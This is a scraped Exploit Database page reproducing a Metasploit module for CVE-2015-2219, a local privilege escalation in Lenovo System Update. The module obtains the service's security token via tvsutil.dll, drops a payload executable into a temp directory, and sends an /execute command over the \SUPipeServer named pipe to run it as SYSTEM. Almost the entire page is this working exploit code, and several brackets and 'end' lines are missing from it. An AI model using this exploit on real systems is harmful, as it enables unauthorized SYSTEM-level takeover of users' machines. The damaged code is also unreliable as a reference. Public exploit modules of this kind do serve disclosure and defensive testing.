Lenovo System Update – Local Privilege Escalation (Metasploit)

Exploit Database
135 阅读

作者： Metasploit

日期： 2015-04-12
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/41708/

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# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

include Msf::Exploit::EXE

include Msf::Post::File

include Msf::Exploit::FileDropper

include Msf::Post::Windows::Priv

include Msf::Post::Windows::Services

Rank = ExcellentRanking

def initialize(info={})

super(update_info(info, {

'Name'=> 'Lenovo System Update Privilege Escalation',

'Description' => %q{

The named pipe, \SUPipeServer, can be accessed by normal users to interact with the

System update service. The service provides the possibility to execute arbitrary

commands as SYSTEM if a valid security token is provided. This token can be generated

by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the

System Update is stopped by default but can be started/stopped calling the Executable

ConfigService.exe.

'License' => MSF_LICENSE,

'Author'=>

[

'Michael Milvich', # vulnerability discovery, advisory

'Sofiane Talmat',# vulnerability discovery, advisory

'h0ng10' # Metasploit module

'Arch'=> ARCH_X86,

'Platform'=> 'win',

'SessionTypes'=> ['meterpreter'],

'DefaultOptions'=>

{

'EXITFUNC'=> 'thread',

'Targets' =>

[

[ 'Windows', { } ]

'Payload' =>

{

'Space' => 2048,

'DisableNops' => true

'References'=>

[

['OSVDB', '121522'],

['CVE', '2015-2219'],

['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']

'DisclosureDate' => 'Apr 12 2015',

'DefaultTarget'=> 0

}))

register_options([

OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),

OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),

], self.class)

end

def check

os = sysinfo['OS']

unless os =~ /windows/i

return Exploit::CheckCode::Safe

end

svc = service_info('SUService')

if svc && svc[:display] =~ /System Update/

vprint_good("Found service '#{svc[:display]}'")

return Exploit::CheckCode::Detected

else

return Exploit::CheckCode::Safe

end

def write_named_pipe(pipe, command)

invalid_handle_value = 0xFFFFFFFF

r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)

handle = r['return']

if handle == invalid_handle_value

fail_with(Failure::NoTarget, "#{pipe} named pipe not found")

else

vprint_good("Opended #{pipe}! Proceeding...")

end

begin

# First, write the string length as Int32 value

w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)

if w['return'] == false

print_error('The was an error writing to pipe, check permissions')

return false

end

# Then we send the real command

w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)

if w['return'] == false

print_error('The was an error writing to pipe, check permissions')

return false

end

ensure

session.railgun.kernel32.CloseHandle(handle)

end

true

end

def get_security_token(lenovo_directory)

unless client.railgun.get_dll('tvsutil')

client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")

client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], nil, 'cdecl')

end

dll_response = client.railgun.tvsutil.GetSystemInfoData(256)

dll_response['systeminfo'][0,40]

end

def config_service(lenovo_directory, option)

cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")

end

def exploit

if is_system?

fail_with(Failure::NoTarget, 'Session is already elevated')

end

su_directory = service_info('SUService')[:path][1..-16]

print_status('Starting service via ConfigService.exe')

config_service(su_directory, 'start')

print_status('Giving the service some time to start...')

Rex.sleep(datastore['Sleep'])

print_status("Getting security token...")

token = get_security_token(su_directory)

vprint_good("Security token is: #{token}")

if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?

temp_dir = get_env('TEMP')

else

temp_dir = datastore['WritableDir']

end

print_status("Using #{temp_dir} to drop the payload")

begin

cd(temp_dir)

rescue Rex::Post::Meterpreter::RequestError

fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")

end

print_status('Writing malicious exe to remote filesystem')

write_path = pwd

exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"

begin

write_file(exe_name, generate_payload_exe)

register_file_for_cleanup("#{write_path}\\#{exe_name}")

rescue Rex::Post::Meterpreter::RequestError

fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")

end

print_status('Sending Execute command to update service')

begin

write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")

rescue Rex::Post::Meterpreter::RequestError

fail_with(Failure::Unknown, 'Failed to write to pipe')

end

unless write_res

fail_with(Failure::Unknown, 'Failed to write to pipe')

end

print_status('Stopping service via ConfigService.exe')

config_service(su_directory, 'stop')

end